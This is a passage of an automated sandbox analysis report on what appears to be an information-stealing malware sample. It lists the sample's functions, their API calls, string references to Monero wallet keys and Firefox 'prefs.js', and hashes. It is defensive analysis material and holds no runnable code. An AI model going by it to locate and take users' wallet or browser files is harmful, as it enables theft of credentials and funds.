Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FD15B8,00FD0D96), ref: 00FBF71E
StrCmpCA.SHLWAPI(?,00FD15BC), ref: 00FBF76F
StrCmpCA.SHLWAPI(?,00FD15C0), ref: 00FBF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBFAB1
FindClose.KERNEL32(000000FF), ref: 00FBFAC3

Strings

prefs.js, xrefs: 00FBF812

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d222fa31615b2030bd86b649eee27197ab6b64461dddc63c816d649bf79b9b60
Instruction ID: 3a9b12e7b7eb656574292ae50e9d79854e53069b81640732f7f908dac419dfb8
Opcode Fuzzy Hash: d222fa31615b2030bd86b649eee27197ab6b64461dddc63c816d649bf79b9b60
Instruction Fuzzy Hash: 5DB143719001099BDB28EF60DD97FED7379AF54304F4085ADA40A97181EF38AB49EF92

Function 00FB16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FD510C,?,?,?,00FD51B4,?,?,00000000,?,00000000), ref: 00FB1923
StrCmpCA.SHLWAPI(?,00FD525C), ref: 00FB1973
StrCmpCA.SHLWAPI(?,00FD5304), ref: 00FB1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FB1D40
DeleteFileA.KERNEL32(00000000), ref: 00FB1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00FB1E20
FindClose.KERNEL32(000000FF), ref: 00FB1E32

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Strings

\*.*, xrefs: 00FB17F1

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 1d388caaa9d0122fbd1d792587cd91265602980f4e53a031e98d81568b92e244
Instruction ID: 838dbe4bf447caf1fb40172993dc19fa380b1cc96e80c5b1ee7f78dc0b74034d
Opcode Fuzzy Hash: 1d388caaa9d0122fbd1d792587cd91265602980f4e53a031e98d81568b92e244
Instruction Fuzzy Hash: E912C97191011D9BDB29EB60DD97FEE7378AF54304F4041ADA10A620D1EE387B89EF92

Function 00FBDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00FD0C2E), ref: 00FBDE5E
StrCmpCA.SHLWAPI(?,00FD14C8), ref: 00FBDEAE
StrCmpCA.SHLWAPI(?,00FD14CC), ref: 00FBDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBE3E0
FindClose.KERNEL32(000000FF), ref: 00FBE3F2

Strings

\*.*, xrefs: 00FBDE26

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 0718964c79f684fc0e41165f400d671ef5ee3902245c85df4b29f122702cffaa
Instruction ID: a6a1d176a5b40724f01dea5b268f4a55d41ebc5e449bc8af8a7cd7f5e90c22c9
Opcode Fuzzy Hash: 0718964c79f684fc0e41165f400d671ef5ee3902245c85df4b29f122702cffaa
Instruction Fuzzy Hash: 47F17B7181411D9BDB29EB60DD96FEE7338AF14304F40419EA41A62091EE387F8ADE52

Function 00FBDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FD14B0,00FD0C2A), ref: 00FBDAEB
StrCmpCA.SHLWAPI(?,00FD14B4), ref: 00FBDB33
StrCmpCA.SHLWAPI(?,00FD14B8), ref: 00FBDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBDDCC
FindClose.KERNEL32(000000FF), ref: 00FBDDDE

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d185a6a3605c785c718d3dbf2c0eb0d4a02fea9a85d7109c384bdf09fde5b6f5
Instruction ID: 781241dea92b82b6a6f0ef1d4f8178c7771ebbae33a5db5e012e729e6c950df2
Opcode Fuzzy Hash: d185a6a3605c785c718d3dbf2c0eb0d4a02fea9a85d7109c384bdf09fde5b6f5
Instruction Fuzzy Hash: 6F9133729001099BCB14FB70ED57EED737DAF84304F40866CB81A96185FE38AB599F92

Function 01391345 Relevance: 11.7, Strings: 8, Instructions: 1690COMMON

Download Yara Rule

Strings

e>?N, xrefs: 01392228
RP1V, xrefs: 013917F4
6z;:, xrefs: 013925D3
))hS, xrefs: 013922C8
E8c9, xrefs: 01391A96
YE[7, xrefs: 01391BA4
]OsK, xrefs: 013916C2
e>?N, xrefs: 0139221A

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ))hS$6z;:$E8c9$RP1V$YE[7$]OsK$e>?N$e>?N
API String ID: 0-3514759201
Opcode ID: 6cc4acb19336368849e6e086037920873febc0869d76b718f2e4b97bd2bc8227
Instruction ID: 66cac64d02e8ef3a3b72486f641f2c4c01b05079da82204eb0ab4e09bd5e9cc2
Opcode Fuzzy Hash: 6cc4acb19336368849e6e086037920873febc0869d76b718f2e4b97bd2bc8227
Instruction Fuzzy Hash: 86B229F360C2109FE304AE2DEC8567AB7E9EFD8720F16463DEAC5C7744EA3558018696

Function 0139B46D Relevance: 11.6, Strings: 8, Instructions: 1590COMMON

Download Yara Rule

Strings

:x;f, xrefs: 0139C41F
Wz, xrefs: 0139B76D
Ve_O, xrefs: 0139BF64
f2r?, xrefs: 0139BE60
(_, xrefs: 0139BE35
+}r7, xrefs: 0139B921
K|w], xrefs: 0139B4B0
Q |;, xrefs: 0139B6BD

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (_$+}r7$:x;f$K|w]$Q |;$Ve_O$f2r?$Wz
API String ID: 0-1382138061
Opcode ID: 2161ea397cfa6be472f39b284c4f60c68704e13b33a45579b7249a7c857ef3ff
Instruction ID: 5f7b7b2f1e05acd128a38de5cd6ed8759cee19c1c89c4d479ebe763b0c33a915
Opcode Fuzzy Hash: 2161ea397cfa6be472f39b284c4f60c68704e13b33a45579b7249a7c857ef3ff
Instruction Fuzzy Hash: C1B206F3A08204AFD3046E2DEC8567AFBE9EF94360F1A493DE6C4C3744E63598458697

Function 00FC7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

GetKeyboardLayoutList.USER32(00000000,00000000,00FD05AF), ref: 00FC7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00FC7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00FC7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00FC7C62
LocalFree.KERNEL32(00000000), ref: 00FC7D22

Strings

/ , xrefs: 00FC7C7F

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9e244e51b4f222332789c97875b9d8c26c2016ab79872bb70a1de21956ad4784
Instruction ID: 260bee2255410e70c51aa9a7413246aa9d396ff66130991b575cf0e990f59ab0
Opcode Fuzzy Hash: 9e244e51b4f222332789c97875b9d8c26c2016ab79872bb70a1de21956ad4784
Instruction Fuzzy Hash: 4741287194021DABCB24EB94DD9AFEEB374FF44704F204199E40A62280DB786E85DFA1

Function 01388B92 Relevance: 10.5, Strings: 7, Instructions: 1720COMMON

Download Yara Rule

Strings

V?~, xrefs: 01389E5F
}V=, xrefs: 01389625
cn, xrefs: 01388C4E
CDwi, xrefs: 01389554
1Ss, xrefs: 01389DD0
|r', xrefs: 013896D3
y6, xrefs: 01389033

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1Ss$CDwi$V?~$cn$|r'$}V=$y6
API String ID: 0-1240672472
Opcode ID: 2e833cfbcbe0ca32d1e319ab7ed37ba3ebb8ad05ac2096a2df49cbc2c28b2498
Instruction ID: 8841d4a10be001472760665c40cf8e44207c17232714bfef9b7e7d6d20b94ff1
Opcode Fuzzy Hash: 2e833cfbcbe0ca32d1e319ab7ed37ba3ebb8ad05ac2096a2df49cbc2c28b2498
Instruction Fuzzy Hash: 78B24BF3A082109FE704AE2DEC8577ABBDAEFD4760F1A463DEAC4C3744E53558058692

Function 01397EC2 Relevance: 10.4, Strings: 7, Instructions: 1604COMMON

Download Yara Rule

Strings

#z>, xrefs: 01397FF3
Pgh, xrefs: 01398CF1
Ki, xrefs: 013986C9
0L^g, xrefs: 01398ED4
@>9, xrefs: 013991FE
Ao[, xrefs: 013987C7, 013987F4
|}, xrefs: 013991EE

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #z>$0L^g$Ao[$Pgh$@>9$Ki$|}
API String ID: 0-3120634388
Opcode ID: 5649b266c3f81ee6bb9ff597a53abb357586505ac0a18af3c0a5a2c102b6d3ad
Instruction ID: 49ffffac6d890bd2f76d7e26151597dc88383c99630bdf025c0fae23631e28de
Opcode Fuzzy Hash: 5649b266c3f81ee6bb9ff597a53abb357586505ac0a18af3c0a5a2c102b6d3ad
Instruction Fuzzy Hash: F9B218F360C2049FE704AE2DEC8577ABBE5EB94320F1A893DE6C4C7744E63598058697

Function 00FBE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00FD0D73), ref: 00FBE4A2
StrCmpCA.SHLWAPI(?,00FD14F8), ref: 00FBE4F2
StrCmpCA.SHLWAPI(?,00FD14FC), ref: 00FBE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBEBDF

Strings

\*.*, xrefs: 00FBE44D

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: a51d0747d230651e89888983a3afca229691636028b58f4fa7167105c69008ac
Instruction ID: 96b60b4fbba8590df5cec64286f08ba594b34628a92ccd20b1e02c87bbb87fea
Opcode Fuzzy Hash: a51d0747d230651e89888983a3afca229691636028b58f4fa7167105c69008ac
Instruction Fuzzy Hash: 3412197191011D9BDB28FB60DE97FED7339AF54304F4041ADA50A921C1EE386F49EBA2

Function 0139640C Relevance: 9.2, Strings: 6, Instructions: 1673COMMON

Download Yara Rule

Strings

